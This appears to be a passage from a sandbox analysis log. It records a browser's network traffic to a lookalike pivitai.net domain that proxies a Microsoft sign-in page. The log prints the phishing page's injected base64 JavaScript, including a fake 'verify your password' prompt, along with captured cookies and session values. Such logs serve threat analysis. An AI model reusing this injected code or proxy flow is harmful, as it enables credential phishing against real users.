dEVsZW1lbnQuc3R5bGUuZmlsdGVyPSJodWUtcm90YXRlKDRkZWcpIjtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImciXX0pKTtzZXRUaW1lb3V0KGMsMWUzKX19YygpOwo="></script><title>3hberwbfh</title></head><bod
2024-04-26 20:18:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49723	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:21 UTC	1326	OUT	GET /common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH HTTP/1.1 Host: dfgrt.pivitai.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:22 UTC	1327	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+sin"}]} Set-Cookie: esctx-3UthQiNWeYA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IBaozxtGlk9P_MZmIstVk93o4LiNrXf0bizuXBgbTY70owvrgpnWlSUx1zGJjIhc3Iunu-oKF4oU8rlO43wX8g0ruZ4KdBe8tJ0I7b7XGMikWIa8HWOF1zjbbBIYxjgiZWvk-fUQ1b7PgUm_UebpoyAA; Path=/; Domain=dfgrt.pivitai.net; HttpOnly; Secure; SameSite=None Set-Cookie: fpc=Aklos_I7PTVNnQgzHKlcwXQ; Path=/; Expires=Sun, 26 May 2024 20:18:21 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8NOyYEDa-V5afKvKYt4dy5p5NwnVj7EKdnpgsar5OU14_SrjYe1SvjEDghyftj1pHfqv-2Okr3H7w3gHZ2d_GzR_cqQTJpNCgvkCZJ8ndyBpEZqN6LODtSyHiSCwLAkP-zUp9VxBA7dSmn1WLsp4gh_FMnYbnTj6z4M0brj-a-b0gAA; Path=/; Domain=dfgrt.pivitai.net; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2024-04-26 20:18:22 UTC	327	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 73 74 73 73 65 72 76 69 63 65 63 6f 6f 6b 69 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 37 38 34 36 2e 36 20 2d 20 4b 52 43 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a 58 2d 4d 73 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 63 35 34 37 35 33 32 33 2d 34 63 64 35 2d 34 37 34 31 2d 62 37 38 33 2d 61 39 35 35 38 33 65 64 62 32 30 30 0d 0a 58 2d 4d 73 2d 53 72 73 3a 20 31 2e 50 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 53 65 72 76 65 72 3a 20 63 6c Data Ascii: Set-Cookie: stsservicecookie=estsfd; Path=/; HttpOnly; Secure; SameSite=NoneVary: Accept-EncodingX-Ms-Ests-Server: 2.1.17846.6 - KRC ProdSlicesX-Ms-Request-Id: c5475323-4cd5-4741-b783-a95583edb200X-Ms-Srs: 1.PCF-Cache-Status: DYNAMICServer: cl
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 35 39 63 32 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 Data Ascii: 59c2... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIp
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 72 79 53 65 6c 65 63 74 6f 72 28 22 70 22 29 29 20 6c 65 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 70 22 29 3b 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 42 65 63 61 75 73 65 20 79 6f 75 20 61 72 65 20 61 63 63 65 73 73 69 6e 67 20 73 65 6e 73 69 74 69 76 65 20 69 6e 66 6f 20 79 6f 75 20 6e 65 65 64 20 74 6f 20 76 65 72 69 66 79 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 23 6c 6f 67 69 6e 48 65 61 64 65 72 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 29 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: rySelector("p")) let t=document.createElement("p");t.textContent="Because you are accessing sensitive info you need to verify your password",document.querySelectorAll("#loginHeader")[0].appendChild(t)})});</script> <meta name="viewport" content="widt
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 30 30 30 30 2d 30 66 66 31 2d 63 65 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 6d 6f 64 65 3d 66 6f 72 6d 5f 70 6f 73 74 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 2b 69 64 5f 74 6f 6b 65 6e 5c 75 30 30 32 36 73 63 6f 70 65 3d 6f 70 65 6e 69 64 5c 75 30 30 32 36 73 74 61 74 65 3d 44 63 74 42 46 6f 41 67 43 41 42 52 72 64 64 78 53 45 52 42 50 41 35 57 62 46 74 32 5f 56 6a 38 32 55 31 4f 4b 65 31 68 43 78 6b 6a 61 55 6a 54 50 67 64 50 52 69 53 73 69 73 53 6e 58 4c 6f 36 72 52 74 38 75 6b 45 58 72 36 44 30 4e 44 42 56 35 35 73 49 6d 30 6d 4f 39 79 6a 76 5a 2d 55 48 5c 75 30 30 32 36 73 73 6f 5f 72 65 6c 6f 61 64 3d 54 72 75 65 22 2c 22 69 50 61 77 6e 49 63 6f 6e 22 3a 30 2c 22 73 50 Data Ascii: 0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH\u0026sso_reload=True","iPawnIcon":0,"sP
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 73 73 6f 45 64 67 65 56 65 72 73 69 6f 6e 22 3a 22 31 37 22 2c 22 69 73 53 61 66 61 72 69 41 6c 6c 6f 77 65 64 22 3a 74 72 75 65 2c 22 72 65 64 69 72 65 63 74 55 72 69 22 3a 22 22 2c 22 69 73 49 45 41 6c 6c 6f 77 65 64 46 6f 72 53 73 6f 50 72 6f 62 65 22 3a 74 72 75 65 2c 22 65 64 67 65 52 65 64 69 72 65 63 74 55 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 75 74 6f 6c 6f 67 6f 6e 2e 6d 69 63 72 6f 73 6f 66 74 61 7a 75 72 65 61 64 2d 73 73 6f 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2f 77 69 6e 61 75 74 68 2f 73 73 6f 2f 65 64 67 65 72 65 64 69 72 65 63 74 3f 63 6c 69 65 6e 74 2d 72 65 71 75 65 73 74 2d 69 64 3d 32 64 65 37 64 33 61 32 2d 62 31 35 61 2d 62 30 61 31 2d 37 64 33 30 2d 36 66 33 38 65 33 32 33 66 62 30 39 5c 75 30 30 32 36 6f 72 69 67 69 6e 3d 64 66 67 Data Ascii: ssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09\u0026origin=dfg
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 35 34 37 35 33 32 33 2d 34 63 64 35 2d 34 37 34 31 2d 62 37 38 33 2d 61 39 35 35 38 33 65 64 62 32 30 30 22 2c 22 6c 6f 63 61 6c 65 22 3a 7b 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 6c 63 69 64 22 3a 31 30 33 33 7d 2c 22 73 6c 4d 61 78 52 65 74 72 79 22 3a 32 2c 22 73 6c 52 65 70 6f 72 74 46 61 69 6c 75 72 65 22 3a 74 72 75 65 2c 22 73 74 72 69 6e 67 73 22 3a 7b 22 64 65 73 6b 74 6f 70 73 73 6f 22 3a 7b 22 61 75 74 68 65 6e 74 69 63 61 74 69 6e 67 6d 65 73 73 61 67 65 22 3a 22 54 72 79 69 6e 67 20 74 6f 20 73 69 67 6e 20 79 6f 75 20 69 6e 22 7d 7d 2c 22 65 6e 75 6d 73 22 3a 7b 22 43 6c 69 65 6e 74 4d 65 74 72 69 63 73 4d 6f 64 65 73 22 3a 7b 22 4e 6f 6e 65 22 3a 30 2c 22 53 75 62 6d 69 74 4f 6e 50 6f 73 74 22 3a 31 2c 22 53 75 62 6d 69 74 4f 6e 52 65 Data Ascii: 5475323-4cd5-4741-b783-a95583edb200","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRe
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 67 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 22 5d 2c 22 6c 6f 67 42 79 54 68 72 6f 77 69 6e 67 22 3a 74 72 75 65 7d 2c 22 73 65 72 76 65 72 44 65 74 61 69 6c 73 22 3a 7b 22 73 6c 63 22 3a 22 50 72 6f 64 53 6c 69 63 65 73 22 2c 22 64 63 22 3a 22 4b 52 43 22 2c 22 72 69 22 3a 22 53 45 31 58 58 58 58 22 2c 22 76 65 72 22 3a 7b 22 76 22 3a 5b 32 2c 31 2c 31 37 38 34 36 2c 36 5d 7d 2c 22 72 74 22 3a 22 32 30 32 34 2d 30 34 2d 32 36 54 32 30 3a 31 38 3a 32 31 22 2c 22 65 74 22 3a 35 7d 2c 22 63 6c 69 65 6e 74 45 76 65 6e 74 73 22 3a 7b 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 65 6c 65 6d 65 74 72 79 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 75 73 65 4f 6e 65 44 53 45 76 65 6e 74 41 70 69 22 3a 74 72 75 65 2c 22 66 6c 75 73 68 22 3a 36 30 30 30 30 2c Data Ascii: g.pivitai.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"KRC","ri":"SE1XXXX","ver":{"v":[2,1,17846,6]},"rt":"2024-04-26T20:18:21","et":5},"clientEvents":{"enabled":true,"telemetryEnabled":true,"useOneDSEventApi":true,"flush":60000,
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 22 2c 22 72 65 61 73 6f 6e 22 3a 22 50 75 6c 6c 20 69 73 20 6e 65 65 64 65 64 22 7d 2c 22 75 72 6c 4e 6f 43 6f 6f 6b 69 65 73 22 3a 22 68 74 74 70 73 3a 2f 2f 64 66 67 72 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 63 6f 6f 6b 69 65 73 64 69 73 61 62 6c 65 64 22 2c 22 66 54 72 69 6d 43 68 72 6f 6d 65 42 73 73 6f 55 72 6c 22 3a 74 72 75 65 2c 22 69 6e 6c 69 6e 65 4d 6f 64 65 22 3a 35 2c 22 66 53 68 6f 77 43 6f 70 79 44 65 62 75 67 44 65 74 61 69 6c 73 4c 69 6e 6b 22 3a 74 72 75 65 2c 22 66 54 65 6e 61 6e 74 42 72 61 6e 64 69 6e 67 43 64 6e 41 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 73 22 3a 74 72 75 65 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 20 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 2f Data Ascii: ","reason":"Pull is needed"},"urlNoCookies":"https://dfgrt.pivitai.net/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true,"fTenantBrandingCdnAddEventHandlers":true};//...</script> <script type="text/javascript">/
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 74 29 7d 2c 6f 2e 72 65 67 69 73 74 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 21 6f 2e 72 5b 65 5d 29 7b 6f 2e 6f 2e 70 75 73 68 28 65 29 3b 76 61 72 20 69 3d 7b 7d 3b 69 66 28 74 26 26 28 69 2e 6d 65 74 68 6f 64 3d 74 29 2c 6e 26 26 28 69 2e 73 6b 69 70 54 69 6d 65 6f 75 74 3d 6e 29 2c 61 72 67 75 6d 65 6e 74 73 26 26 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 33 29 7b 69 2e 65 78 74 72 61 41 72 67 73 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 61 3d 33 3b 61 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 69 2e 65 78 74 72 61 41 72 67 73 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 5b 61 5d 29 7d 7d 6f 2e 72 5b 65 5d 3d 69 2c 6f 2e 6c 6f 63 6b 2b 2b 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 73 3d 30 3b 73 3c 6f Data Ascii: t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o
2024-04-26 20:18:22 UTC	1369	IN	Data Raw: 20 65 28 29 7b 0a 72 65 74 75 72 6e 20 66 2e 24 43 6f 6e 66 69 67 7c 7c 66 2e 53 65 72 76 65 72 44 61 74 61 7c 7c 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 72 29 7b 76 61 72 20 74 3d 66 2e 24 44 65 62 75 67 3b 74 26 26 74 2e 61 70 70 65 6e 64 4c 6f 67 26 26 28 72 26 26 28 65 2b 3d 22 20 27 22 2b 28 72 2e 73 72 63 7c 7c 72 2e 68 72 65 66 7c 7c 22 22 29 2b 22 27 22 2c 65 2b 3d 22 2c 20 69 64 3a 22 2b 28 72 2e 69 64 7c 7c 22 22 29 2c 65 2b 3d 22 2c 20 61 73 79 6e 63 3a 22 2b 28 72 2e 61 73 79 6e 63 7c 7c 22 22 29 2c 65 2b 3d 22 2c 20 64 65 66 65 72 3a 22 2b 28 72 2e 64 65 66 65 72 7c 7c 22 22 29 29 2c 74 2e 61 70 70 65 6e 64 4c 6f 67 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 66 2e 24 42 3b 69 66 28 76 6f 69 64 20 30 3d 3d Data Ascii: e(){return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49724	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:22 UTC	662	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js HTTP/1.1 Host: wreg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:23 UTC	1196	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:23 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DC4DBF8B990C6B Last-Modified: Tue, 26 Mar 2024 18:07:05 GMT X-Azure-Ref: 20240426T174020Z-r1869b9b46cwbnz8brg7z1hr700000000az000000000g8s3 X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 4554691 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 271e7864-801e-0052-6d61-92d0a9000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 9483 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3rUdyp5UQkSx2GRqe%2FqgoL5COU3zXrIwxHUDdX3y6NKpDfDkrca66NFSr0mZ4QGCM8GN%2BBdX7naCCQHHNZts%2BMkNZVXpX4miQFVLlkXDCTPdvTSwmVEIipSBgqb%2B%2Fj9Oq40O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a942fe6b42a4c1-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:23 UTC	173	IN	Data Raw: 37 62 30 35 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d Data Ascii: 7b05/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates m
2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 69 63 65 6e 73 65 20 75 6e 64 65 72 20 77 68 69 63 68 20 4d 69 63 72 6f 73 6f 66 74 20 72 65 63 65 69 76 65 64 20 73 75 63 68 20 54 68 69 72 64 20 50 61 72 74 79 20 49 50 2c 20 61 72 65 20 73 65 74 20 66 6f 72 74 68 20 62 65 6c 6f 77 2e 20 53 75 63 68 20 6c 69 63 65 6e 73 65 73 20 61 6e 64 20 6e 6f 74 69 63 65 73 20 61 72 65 20 70 72 6f 76 69 64 65 64 20 66 6f 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 20 70 75 72 70 6f 73 65 73 20 6f 6e 6c 79 2e 20 4d 69 63 72 6f 73 6f Data Ascii: aterial from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microso
2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 3b 76 61 72 20 6e 3d 74 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 2c 6f 3d 74 68 69 73 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 6c 65 6e 67 74 68 3d 72 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 61 72 67 75 6d 65 6e 74 73 29 2c 6f 2e 61 70 70 6c 79 28 69 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 68 69 73 29 3f 74 68 69 73 3a 65 2c 6e 29 7d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 74 6f 74 79 70 65 26 26 28 69 2e 70 72 6f 74 6f 74 79 70 65 3d 74 68 69 73 2e 70 72 6f 74 6f 74 79 70 65 29 2c 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 69 2c 61 7d 29 2c 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 Data Ascii: ;var n=t.call(arguments,1),r=n.length,o=this,i=function(){},a=function(){return n.length=r,n.push.apply(n,arguments),o.apply(i.prototype.isPrototypeOf(this)?this:e,n)};return this.prototype&&(i.prototype=this.prototype),a.prototype=new i,a}),document.head
2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 28 61 29 7d 29 2c 30 29 7d 29 29 3a 65 2e 72 65 73 6f 6c 76 65 28 5b 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 6e 29 7d 7d 65 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 28 65 2c 21 30 29 7d 2c 65 2e 61 6c 6c 53 65 74 74 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 28 65 2c 21 31 29 7d 2c 65 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 6e 26 26 6e 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 69 3d 30 2c 61 3d 6e 2e 6c 65 6e 67 74 68 3b 69 3c 61 3b 2b 2b 69 29 7b 76 61 72 20 Data Ascii: ut((function(){o(a)}),0)})):e.resolve([])}function r(e,n){return function(){e(n)}}e.all=function(e){return t(e,!0)},e.allSettled=function(e){return t(e,!1)},e.race=function(n){return new e((function(t,o){if(n&&n.length)for(var i=0,a=n.length;i<a;++i){var
2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 28 61 29 69 66 28 75 3c 3d 30 7c 7c 74 3d 3d 3d 75 29 7b 76 61 72 20 6c 3d 72 26 26 28 22 6c 6f 61 64 22 3d 3d 3d 72 2e 74 79 70 65 3f 22 6d 69 73 73 69 6e 67 22 3a 72 2e 74 79 70 65 29 2c 70 3d 72 26 26 72 2e 74 61 72 67 65 74 26 26 72 2e 74 61 72 67 65 74 2e 73 72 63 3b 63 2e 6d 65 73 73 61 67 65 3d 22 4c 6f 61 64 69 6e 67 20 63 68 75 6e 6b 20 22 2b 65 2b 22 20 66 61 69 6c 65 64 20 61 66 74 65 72 20 22 2b 28 75 2b 31 29 2b 22 20 74 72 69 65 73 2e 5c 6e 28 22 2b 6c 2b 22 3a 20 22 2b 70 2b 22 29 22 2c 63 2e 6e 61 6d 65 3d 22 43 68 75 6e 6b 4c 6f 61 64 45 72 72 6f 72 22 2c 63 2e 74 79 70 65 3d 6c 2c 63 2e 72 65 71 75 65 73 74 3d 70 2c 61 5b 31 5d 28 63 29 2c 6f 5b 65 5d 3d 75 6e 64 65 66 69 6e 65 64 2c 53 52 53 52 65 74 72 79 26 26 28 77 69 6e 64 6f 77 2e Data Ascii: (a)if(u<=0\|\|t===u){var l=r&&("load"===r.type?"missing":r.type),p=r&&r.target&&r.target.src;c.message="Loading chunk "+e+" failed after "+(u+1)+" tries.\n("+l+": "+p+")",c.name="ChunkLoadError",c.type=l,c.request=p,a[1](c),o[e]=undefined,SRSRetry&&(window.
